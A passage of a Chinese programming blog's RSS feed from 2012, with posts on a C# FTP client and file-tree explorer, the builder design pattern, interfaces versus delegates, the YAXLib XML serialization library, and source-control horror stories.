&lt;p&gt;TreeNode nodeD = new TreeNode();&lt;/p&gt;
&lt;p&gt;nodeD.Tag = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);&lt;/p&gt;
&lt;p&gt;nodeD.Text = &amp;ldquo;Desktop&amp;rdquo;;&lt;/p&gt;
&lt;p&gt;nodeD.ImageIndex = 10;&lt;/p&gt;
&lt;p&gt;nodeD.SelectedImageIndex = 10;&lt;/p&gt;
&lt;p&gt;TreeView.Nodes.Add(nodeD);&lt;/pre&gt;
 &lt;/p&gt;
&lt;/div&gt;
就像上面代码展示的那样。我们需要添加地一个主节点。我的文档。我的电脑等等。然后获得子目录。
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string[] dirList;
dirList = Directory.GetDirectories(parentNode.Tag.ToString());
Array.Sort(dirList);
if (dirList.Length == parentNode.Nodes.Count)
    return;
for (int i = 0; i &amp;lt; dirList.Length; i++)
{
    node = new TreeNode();
    node.Tag = dirList[i]; 
    node.Text = dirList[i].Substring(dirList[i].LastIndexOf(@&#34;\&#34;) + 1);
    node.ImageIndex = 1;
    parentNode.Nodes.Add(node);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以从下载包里看到完整的代码。我们还应该处理鼠标单击事件。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们有了一个资源管理器。还有FTP和VS所需要的所有信息。&lt;/p&gt;
&lt;p&gt;首先，我们连接服务器。我们应该怎么做呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;FTPSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AppendText(rchLog,&#34;Status : Resolving IP Address\n&#34;,Color.Red);
remoteAddress = Dns.GetHostEntry(Server).AddressList[0];
AppendText(rchLog, &#34;Status : IP Address Found -&amp;gt;&#34; + remoteAddress.ToString() + &#34;\n&#34;, Color.Red);
addrEndPoint = new IPEndPoint(remoteAddress, Port);
AppendText(rchLog,&#34;Status : EndPoint Found -&amp;gt;&#34; + addrEndPoint.ToString() + &#34;\n&#34;, Color.Red);
FTPSocket.Connect(addrEndPoint);
是的。我们需要一个socket连接到服务器 ，然后发送命令

AppendText(rchLog, &#34;Command : &#34; + msg + &#34;\n&#34;, Color.Blue);
Byte[] CommandBytes = Encoding.ASCII.GetBytes((msg + &#34;\r\n&#34;).ToCharArray());
FTPSocket.Send(CommandBytes, CommandBytes.Length, 0);
//read Response
ReadResponse();&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现生成器模式</title>
      <link>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 08 Oct 2012 13:11:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;h1 id=&#34;介绍&#34;&gt;介绍&lt;/h1&gt;
&lt;p&gt;本文讨论生成器设计模式，讨论该模式什么情况下使用，怎么实现。并且。最后会有一个简单的生成器模式的实现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;当我们的程序需要创建一个对象。而这个对象必须由很多不同的对象来构造的时候。为了构造最后的对象。我们不得不组合那些部分对象。最后我们会发现我们的代码被各种各样的部分对象的细节所弄的难以理解&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;为了说明上面的情况。我们做一个手机生产制造系统的例子。假定我们我们有一个已经安装在手机供应商那块的一个系统。现在供应商系那个要根据一些参数来创造一个新手机。比如触屏，操作系统，电池等。如果我们已经有了这些部分的对象，那么上述部分的任意组合将会导致客户端代码复杂难以管理。比如决定生产哪种手机的模块。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;生成器模式目的就是解决上述问题的。GoF定义生成器模式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Separate the construction of a complex object from its representation so that the same construction process can create different representations&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这个定义意味着我们不得不设计这个系统。通过一种客户端仅仅定义参数，而生成器则接管创建复杂对象 的方式。我们看一下生成器模式的类图。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/489ad862ea61f21ae79e749c31fb0aef3c0eea45.jpg&#34; title=&#34;gof&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后看看上图中的每一个类都表示什么&lt;/p&gt;
&lt;p&gt;ConcreteBuilder: 创建复杂产品的具体类.将会知道他已经创建的Product（产品），也就是他已经装配了的Product， 客户端通过该类得到Product对象.&lt;/p&gt;
&lt;p&gt;Builder: 创建Product的接口&lt;/p&gt;
&lt;p&gt;Director: 客户端代码，定义了哪些部分应该被组合在一起来创建具体的Product&lt;/p&gt;
&lt;p&gt;Product: 这是通过组合很多部分创建的对象&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;使用代码&#34;&gt;使用代码&lt;/h1&gt;
&lt;p&gt;我们现在跟随上述的定义，然后试着去实现一个基本的生成器模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们先在合适的地方定义Product的不同部分，我们简单的定义一些枚举类型，那么我们就可以通过组合不同的部分创建Product了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 一些helper枚举定义各种零件

public enum ScreenType

{

    ScreenType_TOUCH_CAPACITIVE,

    ScreenType_TOUCH_RESISTIVE,

    ScreenType_NON_TOUCH

};

public enum Battery

{

    MAH_1000,

    MAH_1500,

    MAH_2000

};

public enum OperatingSystem

{

    ANDROID,

    WINDOWS_MOBILE,

    WINDOWS_PHONE,

    SYMBIAN

};

public enum Stylus

{

    YES,

    NO

};&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后，我们看一下Product类，我们需要有一个可以通过装配创建的Product类，这里我们定义一个MobilePhone类，也就是概念里的Product类了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 这是 &#34;Product&#34; 类

class MobilePhone

{

    // 不同部分的字段

    string phoneName;      

    ScreenType phoneScreen;

    Battery phoneBattery;

    OperatingSystem phoneOS;

    Stylus phoneStylus;

    public MobilePhone(string name)

    {

        phoneName = name;

    }

    //公有属性访问这些部分

    public string PhoneName

    {

        get { return phoneName; }           

    }

    public ScreenType PhoneScreen

    {

        get { return phoneScreen; }

        set { phoneScreen = value; }

    }       

    public Battery PhoneBattery

    {

        get { return phoneBattery; }

        set { phoneBattery = value; }

    }       

    public OperatingSystem PhoneOS

    {

        get { return phoneOS; }

        set { phoneOS = value; }

    }      

    public Stylus PhoneStylus

    {

        get { return phoneStylus; }

        set { phoneStylus = value; }

    }

    // 显示手机相关信息的方法

    public override string ToString()

    {

        return string.Format(&#34;Name: {0}\nScreen: {1}\nBattery {2}\nOS: {3}\nStylus: {4}&#34;,

            PhoneName, PhoneScreen, PhoneBattery, PhoneOS, PhoneStylus);

    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>接口VS 委托</title>
      <link>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</link>
      <pubDate>Sun, 07 Oct 2012 08:31:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;对于指定的任务有不同的方案可供选择，通常是很好的。因为可能某一种方案会更加适合该任务，但是有时候做决定会很难。因为这些不同的方案有其各自的优缺点。&lt;/p&gt;
&lt;p&gt;我经常会停下来好好想想，是不是接口比委托更适合或者是更不适合某个任务。有时候我甚至会回去看我写的代码，这些代码刚开始使用委托来实现，我后来用接口替换掉。因此，是时候写篇文章来阐述一下这两种技术的优缺点了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;性能&#34;&gt;性能&lt;/h1&gt;
&lt;p&gt;我经常看到有人问接口是不是比委托更快啊。或者是不是相反。通常。别人给的答案会是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接口更快。委托相当慢&lt;/li&gt;
&lt;li&gt;委托更快，因为他们是指向方法的指针，接口则需要一个v-table(虚函数解析表)，然后找到委托&lt;/li&gt;
&lt;li&gt;他们一样快，但委托更容易使用
 &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;好吧。那些都是错的。也许在.Net 1中。委托真的很慢。但是事实是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;委托执行（execute）的时候更快&lt;/li&gt;
&lt;li&gt;接口获得（get）的时候更快
在下面这段代码中：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Action action = SomeMethod;&lt;/pre&gt;
&lt;p&gt;我们将得到一个Action(委托类型)来调用SomeMethod。问题是：委托是包含被调用方法的实例和指针的引用类型。而不仅仅只是一个指向方法的指针，通过引用类型，委托需要分配内存，因此，每一次你把一个方法变换成一个委托的时候。都会分配一个新的对象。&lt;/p&gt;
&lt;p&gt;如果委托是一个值类型。会有些不一样。但是他们不是。。&lt;/p&gt;
&lt;p&gt;另一方面，如果我们这样写代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IRunnable runnable = this;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果实现了IRunnable接口的对象。我们简单通过一个转换得到同样的引用。没有涉及内存分配。我们将可以通过下面的代码来进行速度比较：&lt;/p&gt;
&lt;p&gt;对于委托：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  Action action = SomeMethod;
  action();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对于接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  IRunnable runnable = this;
  runnable.Run();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt;我知道接口会更快。不是因为他们执行更快。而是因为每一次迭代，一个新的Action委托都会被分配。 但是。如果把委托和接口的获得语句放在循环之外。委托会更快一些。&lt;/p&gt;
&lt;p&gt;当创建事件的时候。举个例子。我们在给事件添加委托的时候，就只添加一次。这样。即使事件被触发再多次。也只进行了一次内存分配。&lt;/p&gt;
&lt;h2 id=&#34;那么谁赢了&#34;&gt;那么？谁赢了？&lt;/h2&gt;
&lt;p&gt;好。对于事件，委托将会更快些。&lt;/p&gt;
&lt;p&gt;但是。在说委托更好或是更快之前，我们再看另一种情况。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;匿名方法&#34;&gt;匿名方法&lt;/h1&gt;
&lt;p&gt;在我看来，匿名方法是委托最糟糕的使用。但是同时。也正在变成最普遍的用法。&lt;/p&gt;
&lt;p&gt;当你像这段代码这样调用的时候&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;for(int i=0; i&amp;lt;count; i++)
  MethodThatReceivesADelegate(() =&amp;gt; SomeCall(i));&lt;/pre&gt;
&lt;p&gt;事实上，编译器将会创建一个接受参数i的方法实例，然后创建另一个实例（即委托）来引用这个实例。&lt;/p&gt;
&lt;p&gt;如果用接口来替换的话。编译器将指挥分配单一的对象，该对象实现了接口&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;可能的抱怨&#34;&gt;可能的抱怨&lt;/h2&gt;
&lt;p&gt;一些人也许对那个接受参数i的方法实例的问题有所疑惑。他们可能认为，在每一次迭代中。实例里面的之被改变了。也许编译器可以优化这个委托的内存分配。实际只分配了一次。&lt;/p&gt;
&lt;p&gt;好把。对于委托的内存分配我不知道。但是。对于要分配一个接受参数i的单一实例，确实真的。也是一个bug。如果MethodThatReceivesADelegate 把委托传递给另一个线程。其他的线程也许会接收到错误的i值，在.net 4.5中。这块不会出错。因为。每一次迭代。一个新的对象被创建。这就能保证当委托被传递到另一个线程里的时候。结果总是正确的。但这也就意味着每次都会有一个新的委托会创建。&lt;/p&gt;
&lt;p&gt;如果MethodThatReceivesADelegate 仅仅使用委托一次。使用接口也许更好。不幸的是。我们没有办法实现匿名接口。&lt;/p&gt;
&lt;p&gt;好。如果是为了方便。委托更好。但是如果要求性能。在这种情况下。接口会更好。因为避免了一次不必要的内存分配。&lt;/p&gt;
&lt;p&gt;事实上，我创建了IRunnable接口是为了强制使用者实现了一个新的类型，而不是使用匿名委托。这样就可以解决在for循环（或是任何在foreach里使用的任何值）i值可变的问题，同时也有一定的性能提升。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;调用和动态调用&#34;&gt;调用和动态调用&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们知道有匿名委托，但是没有匿名接口，只使用一次的情况下，接口将会比委托有更好的性能。因为只请求一个对象而不是两个。&lt;/p&gt;
&lt;p&gt;这让我开始考虑，当一个方法接受一个只会执行一次的方法作为参数的时候，我应该使用委托还是是用接口。&lt;/p&gt;
&lt;p&gt;但是。更多的性能相关的情况下我们可以这样用。。&lt;/p&gt;
&lt;p&gt;你是否曾经有过要用动态调用代替直接委托调用的情况？一般是在编译时并不知道委托的参数类型的情况下。&lt;/p&gt;
&lt;p&gt;好。当有一个接口。在接口的方法里有一个方法调用的参数类型未定。我不知道为什么。但是反射调用和委托的动态调用都极慢。比直接对参数做转换都慢。而数组长度验证。然后放到一个try/catch块里会抛出TargetInvocationException 异常。&lt;/p&gt;
&lt;p&gt;因此。如果你有类似下面的代码：&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IDynamicInvokable
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;object DynamicInvoke(params object[] parameters);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
那么你可以创建你的委托接口，是IDynamicInvokable 接口的继承接口，像这样：
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IAction&amp;lt;T&amp;gt;:
&lt;p&gt;IDynamicInvokable&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;void Invoke(T parameter);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
这样你的用户就可以通过Invoke方法调用你的接口，如果他们在编译时不知道接口的类型。他们可以使用更泛化一些的IDynamicInvoke。
&lt;p&gt;注意：我讨厌泛型这个名字。对于我来说。IDynamicInvoke 是调用方法最泛型的的途径，而IAction&amp;lt;T&amp;gt; 是类型接口，因此，我我说泛型的时候。我其实是在说更加普遍无类型的调用泛型。而不是类型指定的泛型。&lt;/p&gt;
&lt;p&gt;那么，如果对委托做上千次调用。但是使用DynamicInvoke 代替Invoke，接口会做的更好&lt;/p&gt;
&lt;p&gt;我又一次的问我自己。匿名委托的简单性值得吗？仅仅为了更好的性能我就把让我的用户对我方法的调用变得困难？并且这真的会影响到程序的整体性能吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;泛型差异无类型的使用&#34;&gt;泛型，差异，无类型的使用&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我刚刚说我讨厌泛型的名字。因为使用泛型的代码通常是有类型的代码，而我们也许需要的无具体类型的代码，我认为这样更加泛一些。&lt;/p&gt;
&lt;p&gt;但是。让我好好讨论一下.net的泛型。假设你知道一个委托的参数数目，但是你不知道具体的类型，这和DynamicInvoke 是不一样的。因为这个方法。简单的把所有的参数当成一个数组。&lt;/p&gt;
&lt;p&gt;泛型具化或者是相反可以有一些帮助。但是很小。&lt;/p&gt;
&lt;p&gt;比如。我们可以把 &lt;code&gt;Func&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt; 当成 &lt;code&gt;Func&amp;amp;lt;object&amp;amp;gt; ``，或是把``Action&amp;amp;lt;object&amp;amp;gt;&lt;/code&gt; 看成 &lt;code&gt;Action&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;理由很简单，当返回一个值的时候（``Func``的情况），``string``是一个``object``。将不会做任何转换。将会简单地返回一个``string``，调用这会看成一个无类型的``object``。但是可以。而在``Action``这个情况下。它需要一个``object``，而``string&lt;/code&gt;.是可用的object，所以也可以。&lt;/p&gt;
&lt;p&gt;但是。如果你想要把&lt;code&gt;Func&amp;amp;lt;int&amp;amp;gt;&lt;/code&gt; 当作Func&amp;lt;object&amp;gt;。更广泛一点。想把所有的参数转换成object，可以吗？&lt;/p&gt;</description>
    </item>
    <item>
      <title>YAXLib---- XML序列化神器</title>
      <link>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</link>
      <pubDate>Fri, 05 Oct 2012 16:24:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</guid>
      <description>&lt;p&gt;今天早上翻译了&lt;a href=&#34;http://www.codeproject.com/Articles/34045/Yet-Another-XML-Serialization-Library-for-the-NET&#34;&gt;Yet-Another-XML-Serialization-Library-for-the-NET&lt;/a&gt;，刚开始以为很短。翻译着发现不对。。然后你不逼你自己。怎么知道自己做不到。于是。将近4个小时把30页的文档翻译完了。因为文章很长。所以本文只列出前两部分。我把翻译好的做成了pdf，&lt;/p&gt;
&lt;p&gt;文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h2&gt;
&lt;p&gt;在本文中，会把要提到的XML序列化库叫做YAXLib，我们知道。.Net 还是提供了一些序列化功能的，尤其是XmlSerializer，该类被程序员广泛使用用来序列化对象成XML，当然，反序列化也是可以的。我认为XmlSerializer类的问题有几下几点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员不能自由的选择生成的xml的结构&lt;/li&gt;
&lt;li&gt;不支持序列化一些集合类，比如Dictionary&amp;lt;,&amp;gt; 或者IEnumerable&amp;lt;&amp;gt;的属性&lt;/li&gt;
&lt;li&gt;当反序列化的时候，如果缺失了一些域，则反序列化失败，这就使得用来存储一ixekeyi被用户编辑的配置文件变得不合适了。
 &lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2-为什么使用yaxlib&#34;&gt;2 为什么使用YAXLib&lt;/h2&gt;
&lt;p&gt;YAXLib解决上述问题的特点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员可以决定xml文件的结构，一个属性可以是一个子元素，或者是其他属性的属性，或者是一个在类中没有对应属性的元素。&lt;/li&gt;
&lt;li&gt;集合类也可以被序列化成一个逗号分隔（也可以是其他任何分隔符）的数据项列表，而且。为Dictionary&amp;lt;,&amp;gt;对象实现了一些特殊的格式化功能，这样，使得程序员可以完全控制生成的xml文件的结构&lt;/li&gt;
&lt;li&gt;他支持System.Collections.Generic 命名空间中的所有泛型集合类（像&lt;code&gt;Dictionary&lt;/code&gt;, &lt;code&gt;HashSet&lt;/code&gt;, &lt;code&gt;LinkedList&lt;/code&gt;, &lt;code&gt;List&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;,&lt;code&gt;SortedDictionary&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;） 和在&lt;code&gt;System.Collections&lt;/code&gt;  命名空间中的非泛型集合类（ &lt;code&gt;ArrayList&lt;/code&gt;, &lt;code&gt;BitArray&lt;/code&gt;, &lt;code&gt;Hashtable&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;）非泛型集合类可以包含多种不同的对象，而且，库还支持序列化和反序列化一维，多维，不规则的数组。&lt;/li&gt;
&lt;li&gt;支持通过对基类/接口的引用，实现对一些对象集合的序列化和反序列化。&lt;/li&gt;
&lt;li&gt;支持多级反序列化&lt;/li&gt;
&lt;li&gt;程序员可以为生成的xml提供注释&lt;/li&gt;
&lt;li&gt;当进行反序列化的时候，程序员可以选择性对于那些与类的属性相关，但没有出现在xml文件中的数据应该如何处理。这种情况下可以看错是一个错误，然后类库抛出一些异常，或者记录错误，或者可以被看成一个警告，然后用程序员预定义的值赋给对应的属性，而且，程序可以可以选择忽略这个问题，相关的异常将既不抛出也不作任何记录。请查看保留空引用标识那一节 看看什么时候可以忽略孤立的数据也许对你有帮助&lt;/li&gt;
&lt;li&gt;程序员可以自己选择错误处理规则，对于数据敏感的应用程序，程序员可以选择在任何异常的情况下，库都应该抛出并且记录异常，对于其他的一些情况（比如要求不那么高的配置文件的存储），程序员可以选择把异常仅仅看成一个警告，仅仅记录一下，让程序的其他部分继续运行。
文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于源代码控制的五个误区</title>
      <link>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</link>
      <pubDate>Thu, 04 Oct 2012 12:18:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</guid>
      <description>&lt;p&gt;上周，在Red Gate好朋友的帮助下。我发起了一个名为小竞赛赢得优秀的SQL  Source Control 5份授权的活动。参加的方式很简单-分享你使用源代码控制过程中，本可以避免的最痛苦的经历&lt;/p&gt;
&lt;p&gt;许多痛苦的故事都出现了。但是我认为这五个获奖者的故事值得分享，并且我都做了评论，因为我觉得随着时间的流逝，这些故事依然对我们有所启发。那么，开始享受这些故事吧，我希望这些知识中的闪光点能够帮助你以后不会掉进相同的陷阱里。&lt;/p&gt;
&lt;p&gt;给获奖者：希望那些授权可以帮助抚慰你们关于那些已经过去的痛苦记忆。不久我会联系你们关于奖项颁发的相关事宜。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;1.通过Ctrl-Z来进行源代码控制&lt;/p&gt;
&lt;p&gt;第一个故事来自 &lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661870477&#34;&gt;courtesy of MyChickenNinja&lt;/a&gt; ，仅仅文字就看得我头疼。在这个特殊的故事里。应用程序被前员工破坏了。。这非常头疼。但是至少还是有很多方法可以恢复代码的。如果不要求数据的话。。&lt;/p&gt;
&lt;p&gt;第一个问题是备份，最近的备份已经是3周前的。这绝对是一个教训—你的环境真的备份了吗？一会我会在另一个故事里简单的再说到这个问题。故事的核心部分是通过Ctrl-Z来进行伪源代码控制&lt;/p&gt;
&lt;p&gt;他们运行他们的代码，并且不断地更新，也包括开发环境，并且使用Ctrl-Z来撤销坏的改变&lt;/p&gt;
&lt;p&gt;好吧。这实在令人难以置信-如果你的应用程序已经做了一些编辑。然后被关闭了。怎么办？或者PC关机了？等等—他还说他们在哪写代码，哪儿就是开发环境？记住！撤销不是源代码控制！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2。多个数据库和集成问题&lt;/p&gt;
&lt;p&gt;第二个故事来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661017718&#34;&gt;Brandon Thompson&lt;/a&gt;，他极度不开心，因为他工作在一个有着很多数据库源的环境里，并且，这些数据库都在正在进行的开发项目下面，数据库集成非常困难，这就意味着处理多个数据库备份可能还有个在海外。。&lt;/p&gt;
&lt;p&gt;我们的开发团队在海外，因为他们有他们自己的数据库集，这些数据库我从没看到过。但是他们会把改变的文件发给我们来适应我们的开发环境&lt;/p&gt;
&lt;p&gt;我发现最痛苦的是简单重复的手工劳动仅仅是使得大家能够协同的更好。这是没有一点创新并且没有任何增值的行为，比如增加新的特性，这就导致除了干这些。没什么时间真正在写代码了。&lt;/p&gt;
&lt;p&gt;源代码控制是为了能够保证团队之间平稳尽量无摩擦的一起工作。它是项目的一个润滑剂，和持续集成开发还有自动部署都属于同一类。这些都是软件开发中的“面包和黄油”，是任何成功团队编写代码的基础。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3. 依赖未测试的备份&lt;/p&gt;
&lt;p&gt;下一个是&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660761685&#34;&gt;Barry Anderson&lt;/a&gt;，他写了一个我们都曾经经历过的痛苦：不能从备份恢复了！事实上在Barry的故事里。几个月都没备份了。之前备份本身还是坏的。这太糟糕了。但是，对于那些依赖备份的人来说这是一个严重的疏忽。&lt;/p&gt;
&lt;p&gt;当然对于这个疏忽也有自己的借口。Barry解释道：&lt;/p&gt;
&lt;p&gt;我们的经理（不是存储团队的）后来告诉我们既没时间也没空间来测试备份了。。。&lt;/p&gt;
&lt;p&gt;备份是一件很重要的事情。但从备份可以恢复也是同等重要，我最近在配置大量的新环境的时候，备份本应该发生的但是就是没有发生。只有当我坚持要进行恢复测试的时候，问题才浮出水面，对于很多人来说。只有当他们真的需要从一系列的数据丢失中恢复数据的时候，才发现不能恢复了。。测试你的备份，恢复他们，不要相信任何人的说辞.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;4.人工合并工具&lt;/p&gt;
&lt;p&gt;来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660732156&#34;&gt;Graham Sutherland&lt;/a&gt;的故事讲了一个人来做机器工作的故事&lt;/p&gt;
&lt;p&gt;我们有一些开发人员，每一个在他们的硬盘上的都有整个项目的一个副本，每一次一个改变发生的时候，我们就会下载技术老大改变的源代码，然后使用diff工具来查看改变。然后手工更新他们。一行一行。。全靠双手。。&lt;/p&gt;
&lt;p&gt;这个故事比听起来还要不可思议，在源代码控制工具出现以前这确实是存在的。一个海外开发团队成员就是这样干的。随后他们这样解释：带头的开发者需要在提交前检查其他开发人员的工作进度。&lt;/p&gt;
&lt;p&gt;这确实是类似于之前的观点,在有多个数据库集成的情况下;我们有技术来解决这些问题!每当一个人在软件开发中从事任何劳动密集型,重复的过程,你真的不得不停下来问:“有没有更好的方法?”通常是有的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;5.剪切和粘贴版本控制&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660687452&#34;&gt;Robin Vessey&lt;/a&gt; 让我产生了共鸣，因为它真的是伪VCS（Version Control System）最普遍的方式。剪切或者复制，然后粘贴到新的位置，通过这种方式会包含重复的目录或者文件。因此一般这些文件会被以日期或者其他标识符来标识时间帧。&lt;/p&gt;
&lt;p&gt;在Robin的故事里，他打算通过网络移动一个目录结构。&lt;/p&gt;
&lt;p&gt;他很简单但高效，我剪贴然后粘贴了一个完整的目录树，任何东西，通过网络发送。但这些文件留在了我这一边。却没有到达另一边。我仍然不知道为什么。&lt;/p&gt;
&lt;p&gt;我必须承认,我对任何剪切和粘贴文件的操作的态度是非常谨慎的,因为我看到这种情况在一个本地文件系统中发生了很多次，更不用说通过网络了，在上面的的Robin的故事,就是没有备份被恢复,因为他们一段时间后会停止备份，“因为我们没有更多的空间”。是不是感觉好像和前面某一方法很像。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
